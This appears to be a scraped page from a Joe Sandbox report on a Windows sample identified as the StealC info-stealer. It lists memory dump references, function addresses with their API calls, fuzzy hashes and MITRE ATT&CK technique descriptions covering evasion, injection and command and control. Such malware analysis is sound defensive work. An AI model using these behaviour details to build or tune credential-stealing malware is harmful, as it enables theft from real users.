Associated: 00000000.00000002.2091239464.0000000000F00000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091263076.0000000000FB1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091263076.0000000000FBD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091263076.0000000000FE2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091263076.000000000114A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091443087.000000000115E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091443087.00000000012DB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091443087.00000000013B1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091443087.00000000013D3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091443087.00000000013DA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091443087.00000000013E9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091685201.00000000013EA000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091795318.0000000001579000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091809845.000000000157A000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_f00000_file.jbxd

Yara matches

Similarity

API ID: File$CloseCreateHandleSize
String ID:
API String ID: 1378416451-0
Opcode ID: d65d53cc39d849035ce3ee3fbebdd2b88038fa7000efe2ee5a06b49bdb675039
Instruction ID: 302b7781d1f8575963881378e146f567ee75b9563c6780c296e0763a5fbba2d7
Opcode Fuzzy Hash: d65d53cc39d849035ce3ee3fbebdd2b88038fa7000efe2ee5a06b49bdb675039
Instruction Fuzzy Hash: 0CF0A439E44204BBDB24DFB0EC14F9E77B9AB48721F11C164B622A72C4D6B596809B80

Function 00F1C742 Relevance: 6.0, APIs: 4, Instructions: 34COMMONLIBRARYCODE

Download Yara Rule

APIs

__getptd.LIBCMT ref: 00F1C74E

Part of subcall function 00F1BF9F: __amsg_exit.LIBCMT ref: 00F1BFAF

__getptd.LIBCMT ref: 00F1C765
__amsg_exit.LIBCMT ref: 00F1C773
__updatetlocinfoEx_nolock.LIBCMT ref: 00F1C797

Memory Dump Source

Source File: 00000000.00000002.2091263076.0000000000F01000.00000040.00000001.01000000.00000003.sdmp, Offset: 00F00000, based on PE: true

Associated: 00000000.00000002.2091239464.0000000000F00000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091263076.0000000000FB1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091263076.0000000000FBD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091263076.0000000000FE2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091263076.000000000114A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091443087.000000000115E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091443087.00000000012DB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091443087.00000000013B1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091443087.00000000013D3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091443087.00000000013DA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091443087.00000000013E9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091685201.00000000013EA000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091795318.0000000001579000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091809845.000000000157A000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_f00000_file.jbxd

Yara matches

Similarity

API ID: __amsg_exit__getptd$Ex_nolock__updatetlocinfo
String ID:
API String ID: 300741435-0
Opcode ID: 6dde2f75e2edefb2b46ef6bdfd50898e49b0bfae7c86f7c5ac8ad30f12653b18
Instruction ID: 0ce9af5049fd784ca2a205d17548231f585890c56b9f21a6384bd8ce880c85ca
Opcode Fuzzy Hash: 6dde2f75e2edefb2b46ef6bdfd50898e49b0bfae7c86f7c5ac8ad30f12653b18
Instruction Fuzzy Hash: 0BF09A32D85714DBD720BBB8AC07BDE37A06F00720F244149F814AA1D2DBAC59C2BF96

Function 00F14F40 Relevance: 5.1, APIs: 4, Instructions: 70stringCOMMON

Download Yara Rule

APIs

Part of subcall function 00F18DE0: SHGetFolderPathA.SHELL32(00000000,0000001C,00000000,00000000,?,?,000003E8), ref: 00F18E0B

lstrcat.KERNEL32(?,00000000), ref: 00F14F7A
lstrcat.KERNEL32(?,00F21070), ref: 00F14F97
lstrcat.KERNEL32(?,008A9960), ref: 00F14FAB
lstrcat.KERNEL32(?,00F21074), ref: 00F14FBD

Part of subcall function 00F14910: wsprintfA.USER32 ref: 00F1492C
Part of subcall function 00F14910: FindFirstFileA.KERNEL32(?,?), ref: 00F14943

Part of subcall function 00F14910: StrCmpCA.SHLWAPI(?,00F20FDC), ref: 00F14971
Part of subcall function 00F14910: StrCmpCA.SHLWAPI(?,00F20FE0), ref: 00F14987
Part of subcall function 00F14910: FindNextFileA.KERNEL32(000000FF,?), ref: 00F14B7D
Part of subcall function 00F14910: FindClose.KERNEL32(000000FF), ref: 00F14B92

Memory Dump Source

Source File: 00000000.00000002.2091263076.0000000000F01000.00000040.00000001.01000000.00000003.sdmp, Offset: 00F00000, based on PE: true

Associated: 00000000.00000002.2091239464.0000000000F00000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091263076.0000000000FB1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091263076.0000000000FBD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091263076.0000000000FE2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091263076.000000000114A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091443087.000000000115E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091443087.00000000012DB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091443087.00000000013B1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091443087.00000000013D3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091443087.00000000013DA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091443087.00000000013E9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091685201.00000000013EA000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091795318.0000000001579000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091809845.000000000157A000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_f00000_file.jbxd

Yara matches

Similarity

API ID: lstrcat$Find$File$CloseFirstFolderNextPathwsprintf
String ID:
API String ID: 2667927680-0
Opcode ID: bfa268093a5855f86fcb9ae3e6e729ffaa93a3e0ec9ef7dce6ea455103c14d56
Instruction ID: 31ae9b381ff211c334a960346f93a931a68b206f78fcae78ecc0a35a3275c533
Opcode Fuzzy Hash: bfa268093a5855f86fcb9ae3e6e729ffaa93a3e0ec9ef7dce6ea455103c14d56
Instruction Fuzzy Hash: 9121D67A94020867D768FBA0FC46EE9333CAB54B00F404554B65A97085EE789AC99B92

Description:	Adversaries may abuse command and script interpreters to execute commands, scripts, or binaries. These interfaces and languages provide ways of interacting with computer systems and are a common feature across many different platforms. Most systems come with some built-in command-line interface and scripting capabilities, for example, macOS and Linux distributions include some flavor of Unix Shell while Windows installations include the Windows Command Shell and PowerShell .
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Network, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may interact with the native OS application programming interface (API) to execute behaviors. Native APIs provide a controlled means of calling low-level OS services within the kernel, such as those involving hardware/devices, memory, and processes.These native APIs are leveraged by the OS during system boot (when other system components are not yet initialized) as well as carrying out tasks and requests during routine operations.
Tactics:	Execution
Data Sources:	Module: Module Load, Process: OS API Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Image: Image Metadata, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Scheduled Job: Scheduled Job Metadata, Scheduled Job: Scheduled Job Modification, Service: Service Creation, Service: Service Metadata
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may modify and/or disable security tools to avoid possible detection of their malware/tools and activities. This may take many forms, such as killing security software processes or services, modifying / deleting Registry keys or configuration files so that tools do not operate properly, or other methods to interfere with security tools scanning or reporting information. Adversaries may also disable updates to prevent the latest security patches from reaching tools on victim systems.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, Driver: Driver Load, Process: Process Creation, Process: Process Termination, Sensor Health: Host Status, Service: Service Metadata, Windows Registry: Windows Registry Key Deletion, Windows Registry: Windows Registry Key Modification
Platforms:	Containers, IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use Obfuscated Files or Information to hide artifacts of an intrusion from analysis. They may require separate mechanisms to decode or deobfuscate that information depending on how they intend to use it. Methods for doing that include built-in functionality of malware or by using utilities present on the system.
Tactics:	Defense Evasion
Data Sources:	File: File Modification, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may perform software packing or virtual machine software protection to conceal their code. Software packing is a method of compressing or encrypting an executable. Packing an executable changes the file signature in an attempt to avoid signature-based detection. Most decompression techniques decompress the executable code in memory. Virtual machine software protection translates an executable's original code into a special format that only a special virtual machine can run. A virtual machine is then called to run this code.
Tactics:	Defense Evasion
Data Sources:	File: File Metadata
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may gather the system time and/or time zone from a local or remote system. The system time is set and stored by the Windows Time Service within a domain to maintain time synchronization between systems and services in an enterprise network.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Firewall: Firewall Enumeration, Firewall: Firewall Metadata, Process: OS API Execution, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to identify the primary user, currently logged in user, set of users that commonly uses a system, or whether a user is actively using the system. They may do this, for example, by retrieving account usernames or by using OS Credential Dumping . The information may be collected in a number of different ways using other Discovery techniques, because user and username details are prevalent throughout a system and include running process ownership, file/directory ownership, session information, and system logs. Adversaries may use the information from [System Owner/User Discovery](https://attack.mitre.org/techniques/T1033) during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Active Directory: Active Directory Object Access, Command: Command Execution, File: File Access, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow, Process: OS API Execution, Process: Process Access, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may compress and/or encrypt data that is collected prior to exfiltration. Compressing the data can help to obfuscate the collected data and minimize the amount of data sent over the network. Encryption can be used to hide information that is being exfiltrated from detection or make exfiltration less conspicuous upon inspection by a defender.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Creation, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report file.exe

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Threat Intel

Malware Configuration

Threatname: StealC

Yara Signatures

PCAP (Network Traffic)

Memory Dumps

Unpacked PEs

Sigma Signatures

Suricata Signatures

Joe Sandbox Signatures

AV Detection

Cryptography

Compliance

Spreading

Networking

System Summary

Data Obfuscation

Boot Survival

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Anti Debugging

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Stealing of Sensitive Information

Remote Access Functionality

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

Static File Info

General

File Icon

Static PE Info

General

Entrypoint Preview

Rich Headers

Data Directories

Sections

Imports

Network Behavior

Suricata IDS Alerts

Network Port Distribution

TCP Packets

Windows Analysis Report
file.exe

Function 00F19860 Relevance: 59.7, APIs: 33, Strings: 1, Instructions: 212
libraryloaderCOMMON

Function 00F045C0 Relevance: 56.1, APIs: 2, Strings: 30, Instructions: 148
memoryCOMMON

Function 00F04880 Relevance: 28.5, APIs: 11, Strings: 5, Instructions: 479
networkstringfileCOMMON

Function 00F19C10 Relevance: 200.2, APIs: 112, Strings: 2, Instructions: 684
libraryloaderCOMMON

Function 00F06280 Relevance: 24.7, APIs: 11, Strings: 3, Instructions: 191
networkfileCOMMON

Function 00F15510 Relevance: 23.1, APIs: 7, Strings: 6, Instructions: 383
sleepCOMMON

Function 00F117A0 Relevance: 21.2, APIs: 11, Strings: 1, Instructions: 162
COMMON

Function 00F17500 Relevance: 14.1, APIs: 5, Strings: 3, Instructions: 106
memoryCOMMON

Function 00F169F0 Relevance: 9.1, APIs: 6, Instructions: 89
sleepCOMMON

Function 00F16AF3 Relevance: 6.0, APIs: 4, Instructions: 30
sleepCOMMON

Function 00F047B0 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 63
stringnetworkCOMMON

Function 00F151F0 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 50
COMMON

Function 00F01220 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 41
COMMON